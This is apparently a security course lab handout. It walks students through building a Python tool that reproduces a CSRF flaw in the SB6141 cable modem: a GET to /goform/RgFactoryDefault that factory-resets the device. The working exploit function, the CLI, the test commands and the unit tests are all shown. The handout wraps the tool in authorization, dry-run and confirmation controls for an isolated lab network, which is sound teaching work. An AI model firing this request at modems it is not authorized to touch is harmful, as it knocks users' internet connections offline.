~3 hr. Extend Tool v0.1 to Tool v0.2: add --authorized-by (REQUIRED), --dry-run (default ON), destructive-action confirmation, and the CSRF reproduction itself. First version that CAN do destructive work; the safety controls make that acceptable.
Goal: ship sb6141_csrf/v02.py plus tests plus updated README. Tool v0.2 adds the destructive action (the CSRF factory-reset) but gates it behind --authorized-by, --dry-run (default ON; --no-dry-run to execute), and an interactive confirmation that requires typing the action name.
Estimated time: ~3 hr.
Prerequisites: Week 5 lecture. Lab 4 complete and committed.
Authorization line: Required in lab notebook before any --no-dry-run invocation:
Lab 5 session, 2026-MM-DD HH:MM. Target SB6141 unit <serial> on isolated lab network;
scope per signed cohort authorization (filed 2026-MM-DD); Tool v0.2 destructive-action
testing; expect <N> factory-resets across the session.
Setup
mkdir -p ~/adv-101/lab-5/sb6141_csrf ~/adv-101/lab-5/tests
cd ~/adv-101/lab-5
# copy v01 as starting point
cp ../lab-4/sb6141_csrf/v01.py sb6141_csrf/v02.py
cp ../lab-4/sb6141_csrf/__init__.py sb6141_csrf/__init__.py
cp ../lab-4/tests/test_fingerprint.py tests/test_v02.py
Open sb6141_csrf/v02.py and revise.
Part A: Add the destructive action (~45 min)
Add a new function do_csrf_reset that issues the destructive request. Per Lab 2's reproduction, the destructive endpoint is /goform/RgFactoryDefault (or your firmware's specific path; substitute as needed):
DESTRUCTIVE_PATH = '/goform/RgFactoryDefault'
ACTION_NAME = 'factory-reset'
def do_csrf_reset(target: str, timeout: float = 10.0) -> dict:
"""Issue the CSRF GET that triggers the SB6141 factory-reset.
Returns a dict with keys: success (bool), status_code (int), response_excerpt (str).
Caller is responsible for verifying authorization + confirmation before calling.
"""
url = f'http://{target}{DESTRUCTIVE_PATH}'
LOG.info('issuing destructive GET to %s', url)
try:
resp = requests.get(url, timeout=timeout)
except requests.exceptions.RequestException as e:
LOG.error('destructive request failed: %s', e)
return {'success': False, 'status_code': -1, 'response_excerpt': str(e)}
return {
'success': resp.status_code in (200, 302, 204),
'status_code': resp.status_code,
'response_excerpt': resp.text[:200],
}
The function does ONE thing: issue the request. It does NOT check authorization (the caller does); it does NOT confirm with the user (the caller does); it does NOT fingerprint (the caller does, first).
Part B: Wire the safety controls into argparse (~30 min)
Replace build_parser() from v0.1 with the v0.2 version:
def build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
prog='sb6141-csrf-v02',
description=(
'SB6141 CSRF tool v0.2: fingerprint + authorized destructive action. '
'Reproduces the Longenecker CSRF (CERT/CC VU#419568) on an authorized '
'lab SB6141. ALWAYS dry-runs by default; --no-dry-run executes after '
'an interactive confirmation prompt.'
),
epilog=(
'Examples:\n'
' Dry-run (default; safe; shows what would happen):\n'
' %(prog)s --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)"\n'
'\n'
' Execute (after dry-run review; prompts for confirmation):\n'
' %(prog)s --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)" --no-dry-run\n'
'\n'
' Unattended execute (CI use only; STILL requires fingerprint match):\n'
' %(prog)s --target 192.168.100.1 --authorized-by "ci@cohort-2026-A" \\\n'
' --no-dry-run --no-confirm\n'
'\n'
'Exit codes:\n'
' 0 success (fingerprint matched + dry-run printed; or destructive completed)\n'
' 1 runtime error (network unreachable; timeout; destructive response not OK)\n'
' 2 usage error (missing/invalid argument)\n'
' 3 fingerprint mismatch (target reachable but not SB6141)\n'
' 4 user aborted at confirmation prompt\n'
),
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument(
'--target',
required=True,
help='IP address or hostname of the SB6141 admin interface',
)
parser.add_argument(
'--authorized-by',
required=True,
help=(
'name of the authorizing party (e.g., "Alice (cohort 2026-A)"); '
'this value appears in every log entry. REQUIRED.'
),
)
parser.add_argument(
'--dry-run',
action=argparse.BooleanOptionalAction,
default=True,
help='print what the tool would do without doing it (default: %(default)s)',
)
parser.add_argument(
'--no-confirm',
action='store_true',
default=False,
help='skip the interactive confirmation prompt (CI use only)',
)
parser.add_argument(
'--timeout',
type=float,
default=10.0,
help='HTTP request timeout in seconds (default: %(default)s)',
)
parser.add_argument(
'--verbose', '-v',
action='store_true',
help='enable DEBUG-level logging to stderr',
)
return parser
Notice:
--authorized-byhasrequired=True. Argparse exits if missing.--dry-rundefaults to True;--no-dry-runis the explicit affirmation.--no-confirmdefaults to False; it requires explicit operator action to bypass the interactive prompt.- Three required signals for actual execution:
--authorized-by VALUE+--no-dry-run+ (--no-confirmOR typed-confirmation).
Part C: Wire the confirmation flow into main() (~30 min)
Replace main() from v0.1:
EXIT_USER_ABORT = 4
def main(argv: list[str] | None = None) -> int:
args = build_parser().parse_args(argv)
logging.basicConfig(
level=logging.DEBUG if args.verbose else logging.INFO,
format='%(asctime)s %(levelname)s %(name)s: %(message)s',
stream=sys.stderr,
)
LOG.info('tool=v02 target=%s authorized_by=%s dry_run=%s no_confirm=%s',
args.target, args.authorized_by, args.dry_run, args.no_confirm)
# Step 1: fingerprint (inherited from v01)
fp = fingerprint(args.target, timeout=args.timeout)
if not fp['match']:
print(f'Error: fingerprint mismatch on {args.target}: {fp["reason"]}', file=sys.stderr)
return EXIT_FINGERPRINT_MISMATCH
firmware = fp['firmware_hint'] or 'unknown'
print(f'Fingerprint OK: SB6141 at {args.target} (firmware {firmware})')
# Step 2: emit the dry-run output (always; even when --no-dry-run, the output
# shows what is about to happen)
dry_run_block = (
'\n*** Destructive action preview ***\n'
f' Target: {args.target}\n'
f' Action: {ACTION_NAME} (GET http://{args.target}{DESTRUCTIVE_PATH})\n'
f' Authorized by: {args.authorized_by}\n'
f' Time: {datetime.now(timezone.utc).isoformat()}\n'
f' Effect: modem restarts and restores factory configuration (~60s)\n'
)
print(dry_run_block)
if args.dry_run:
print('Dry-run mode (default). Use --no-dry-run to execute.')
return EXIT_OK
# Step 3: interactive confirmation (unless --no-confirm)
if not args.no_confirm:
expected = ACTION_NAME
user_input = input(f'Type "{expected}" to confirm (anything else aborts): ').strip()
if user_input != expected:
print('aborted by user', file=sys.stderr)
return EXIT_USER_ABORT
# Step 4: execute
result = do_csrf_reset(args.target, timeout=args.timeout)
if result['success']:
LOG.info('destructive action complete: HTTP %d', result['status_code'])
print(f'Action complete (HTTP {result["status_code"]}). Modem will be reachable again in ~60 seconds.')
return EXIT_OK
LOG.error('destructive action failed: HTTP %d body=%r', result['status_code'], result['response_excerpt'])
print(f'Error: destructive request returned HTTP {result["status_code"]}', file=sys.stderr)
return EXIT_RUNTIME_ERROR
Add the imports at the top if missing:
from datetime import datetime, timezone
Part D: Test the safety controls (~30 min)
Test against the live SB6141 in sequence:
# 1. Missing --authorized-by; expect argparse error + nonzero exit
python3 -m sb6141_csrf.v02 --target 192.168.100.1
# expected: "usage: ...; error: the following arguments are required: --authorized-by"
# 2. Dry-run (default); fingerprints, shows preview, exits OK without action
python3 -m sb6141_csrf.v02 --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)"
# expected: "Fingerprint OK"; preview block; "Dry-run mode (default)"
# 3. Wrong target with --no-dry-run; fingerprint refuses; never reaches confirmation
python3 -m sb6141_csrf.v02 --target 192.168.100.99 --authorized-by "Alice (cohort 2026-A)" --no-dry-run
# expected: "Error: fingerprint mismatch ..."
# 4. User-abort at confirmation; type anything other than "factory-reset"
python3 -m sb6141_csrf.v02 --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)" --no-dry-run
# at prompt, type "y" or "yes" or "abort"
# expected: "aborted by user"; exit 4
# 5. Full execution; type "factory-reset" at prompt
python3 -m sb6141_csrf.v02 --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)" --no-dry-run
# at prompt, type "factory-reset"
# expected: "Action complete (HTTP 200)..."; modem resets
Capture each invocation's output to a single log file:
{
echo "=== Test 1: missing --authorized-by ==="
python3 -m sb6141_csrf.v02 --target 192.168.100.1 2>&1
echo "exit=$?"
echo "=== Test 2: dry-run default ==="
python3 -m sb6141_csrf.v02 --target 192.168.100.1 --authorized-by "Alice (cohort 2026-A)" 2>&1
echo "exit=$?"
# etc
} > lab-5-runs.log
The combined log becomes evidence of all five paths.
Part E: Unit tests for the safety controls (~30 min)
Add tests for the argparse + confirmation behavior. The unittest.mock.patch('builtins.input') pattern is the key technique:
"""Unit tests for sb6141_csrf.v02 safety controls."""
from unittest.mock import patch, MagicMock
import pytest
from sb6141_csrf import v02
def test_argparse_requires_authorized_by():
"""Calling without --authorized-by exits with argparse usage error."""
with pytest.raises(SystemExit) as exc_info:
v02.build_parser().parse_args(['--target', '1.2.3.4'])
assert exc_info.value.code == 2 # argparse exits 2 on usage error
def test_argparse_dry_run_default_true():
"""Without --no-dry-run, args.dry_run is True."""
args = v02.build_parser().parse_args([
'--target', '1.2.3.4',
'--authorized-by', 'tester',
])
assert args.dry_run is True
def test_argparse_no_dry_run_flips_it():
"""--no-dry-run sets args.dry_run to False."""
args = v02.build_parser().parse_args([
'--target', '1.2.3.4',
'--authorized-by', 'tester',
'--no-dry-run',
])
assert args.dry_run is False
def test_dry_run_does_not_call_do_csrf_reset(monkeypatch):
"""Default dry-run mode never reaches the destructive action."""
def fake_fingerprint(target, timeout=5.0):
return {'match': True, 'reason': 'mock', 'firmware_hint': '7.5.0'}
monkeypatch.setattr(v02, 'fingerprint', fake_fingerprint)
called = {'count': 0}
def fake_do_csrf_reset(target, timeout=10.0):
called['count'] += 1
return {'success': True, 'status_code': 200, 'response_excerpt': ''}
monkeypatch.setattr(v02, 'do_csrf_reset', fake_do_csrf_reset)
rc = v02.main([
'--target', '1.2.3.4',
'--authorized-by', 'tester',
# dry-run is the default
])
assert rc == v02.EXIT_OK
assert called['count'] == 0 # destructive action never called in dry-run
def test_user_abort_at_confirmation(monkeypatch):
"""A non-matching confirmation input aborts with EXIT_USER_ABORT."""
monkeypatch.setattr(v02, 'fingerprint',
lambda target, timeout=5.0: {'match': True, 'reason': '', 'firmware_hint': '7.5.0'})
called = {'count': 0}
monkeypatch.setattr(v02, 'do_csrf_reset',
lambda target, timeout=10.0: (called.__setitem__('count', called['count'] + 1), {'success': True, 'status_code': 200, 'response_excerpt': ''})[1])
monkeypatch.setattr('builtins.input', lambda prompt: 'y') # user types y, not "factory-reset"
rc = v02.main([
'--target', '1.2.3.4',
'--authorized-by', 'tester',
'--no-dry-run',
])
assert rc == v02.EXIT_USER_ABORT
assert called['count'] == 0 # destructive action never called when aborted
def test_full_execution_calls_destructive_action(monkeypatch):
"""A complete invocation (fingerprint OK + --no-dry-run + correct confirmation) executes."""
monkeypatch.setattr(v02, 'fingerprint',
lambda target, timeout=5.0: {'match': True, 'reason': '', 'firmware_hint': '7.5.0'})
called = {'count': 0}
def fake_do_csrf_reset(target, timeout=10.0):
called['count'] += 1
return {'success': True, 'status_code': 200, 'response_excerpt': ''}
monkeypatch.setattr(v02, 'do_csrf_reset', fake_do_csrf_reset)
monkeypatch.setattr('builtins.input', lambda prompt: 'factory-reset')
rc = v02.main([
'--target', '1.2.3.4',
'--authorized-by', 'tester',
'--no-dry-run',
])
assert rc == v02.EXIT_OK
assert called['count'] == 1
def test_no_confirm_skips_prompt(monkeypatch):
"""With --no-confirm + --no-dry-run, the tool executes without prompting."""
monkeypatch.setattr(v02, 'fingerprint',
lambda target, timeout=5.0: {'match': True, 'reason': '', 'firmware_hint': '7.5.0'})
called = {'count': 0}
def fake_do_csrf_reset(target, timeout=10.0):
called['count'] += 1
return {'success': True, 'status_code': 200, 'response_excerpt': ''}
monkeypatch.setattr(v02, 'do_csrf_reset', fake_do_csrf_reset)
# input() never gets called; if it does, the test will hang
rc = v02.main([
'--target', '1.2.3.4',
'--authorized-by', 'ci@cohort-2026-A',
'--no-dry-run',
'--no-confirm',
])
assert rc == v02.EXIT_OK
assert called['count'] == 1
def test_fingerprint_mismatch_blocks_execution(monkeypatch):
"""If fingerprint refuses, the tool never reaches the destructive action."""
monkeypatch.setattr(v02, 'fingerprint',
lambda target, timeout=5.0: {'match': False, 'reason': 'wrong device', 'firmware_hint': None})
called = {'count': 0}
monkeypatch.setattr(v02, 'do_csrf_reset',
lambda target, timeout=10.0: (called.__setitem__('count', called['count'] + 1), {'success': True})[1])
monkeypatch.setattr('builtins.input', lambda prompt: 'factory-reset')
rc = v02.main([
'--target', '1.2.3.4',
'--authorized-by', 'tester',
'--no-dry-run',
])
assert rc == v02.EXIT_FINGERPRINT_MISMATCH
assert called['count'] == 0 # blocked at fingerprint
Run:
cd ~/adv-101/lab-5
python3 -m pytest tests/ -v
# All 8 tests should pass
Part F: Update the README + commit (~20 min)
Update the README to reflect v0.2's safety controls + the --authorized-by and --dry-run defaults.
Commit:
cd ~/adv-101/lab-5
git add sb6141_csrf/__init__.py sb6141_csrf/v02.py tests/test_v02.py README.md lab-5-runs.log
git commit -m "Lab 5: Tool v0.2 (authz + dry-run + destructive-action confirmation; 8 tests pass)"
# portfolio entry
cd ~/adv-101
cat >> lab-portfolio.md <<EOF
### Lab 5 session, 2026-MM-DD HH:MM
**Target:** SB6141 unit serial <X> on isolated lab network
**Action:** developed Tool v0.2 (--authorized-by + --dry-run + destructive-action confirmation)
**Authorization basis:** per signed cohort authorization (counter-signed 2026-MM-DD)
**Session duration:** ~3h (including <N> SB6141 factory-resets during test runs)
**Artifacts produced:** lab-5/sb6141_csrf/v02.py; lab-5/tests/test_v02.py; lab-5/lab-5-runs.log
**Incidents:** none (each factory-reset preceded by authorized-by + dry-run + typed confirmation)
EOF
git add lab-portfolio.md
git commit -m "Portfolio: Lab 5 session entry"
Expected output / artifact
~/adv-101/lab-5/ containing:
sb6141_csrf/v02.py(Tool v0.2 with all safety controls)tests/test_v02.py(8+ unit tests; all pass)lab-5-runs.log(the 5 manual run-path captures)README.md(updated with v0.2 safety-control documentation)
Plus the portfolio entry.
What's the failure mode?
- Operator aliases the safety control away. Defense at the v0.2 level is structural: --authorized-by REQUIRES a value; the value is logged. An alias that hard-codes "test" as the value bypasses the discipline but the audit trail still records "test" as the operator name, which is detectable in post-hoc review.
- Operator forgets --no-dry-run is needed. Failure mode is "the tool printed the dry-run but did not execute." This is the SAFE failure mode; the operator notices and re-runs with --no-dry-run.
- Operator types the confirmation incorrectly. Failure mode is "the tool aborted." Also safe; the operator re-runs.
- Operator runs against the wrong SB6141 by accident. Fingerprint catches the model; but the operator could have a second SB6141 on a misconfigured network. Mitigation: the per-session authorization line names the SPECIFIC serial number; cross-check the modem's printed serial against the auth line before running.
Common pitfalls
- --authorized-by is optional, not required. Argparse
required=Trueis the only correct way; do not rely on operator habit. - --dry-run defaults to False. Wrong by safety doctrine; v0.2's choice is
default=True; --no-dry-runto execute. This is the difference between "safe-by-default" and "fast-by-default"; pick safe. - Confirmation accepts a generic affirmation. "y" or "yes" or pressing Enter on a prompt all defeat the cognitive-check purpose. Require the action name (e.g.,
factory-reset); typing it forces attention. - No-confirm without no-dry-run. A tool with
--no-confirmbut no--no-dry-runshould still NOT execute (dry-run is still the default). Test this combination; it should still emit the dry-run output.
What would a reviewer ask?
- "What is the smallest change to my command-line arguments that would have actually issued the destructive request? Walk me through it."
- "Suppose someone created a wrapper script that always passes
--authorized-by+--no-dry-run+--no-confirm. Is the safety model defeated? What would you do?" - "Your dry-run output includes the authorized-by value. Why?"
Stretch (optional)
- Add a
--rollbackmode that reverses the action (where reversal is possible). For factory-reset, reversal means "reapply the previously-recorded configuration" (which the tool would need to have captured BEFORE the reset). Forward-pointer to Lab 7's idempotency work. - Build a
--json-log FILEargument that appends a JSON line per run to FILE. The JSON entry includes timestamp, target, authorized-by, action, dry-run, exit code. Forward-pointer to Lab 7's structured logging. - Test the confirmation flow on a non-TTY stdin. When stdin is not a terminal (e.g., the tool is invoked from a script), the
input()call has different behavior. Test; document.
Lab 5 v0.1.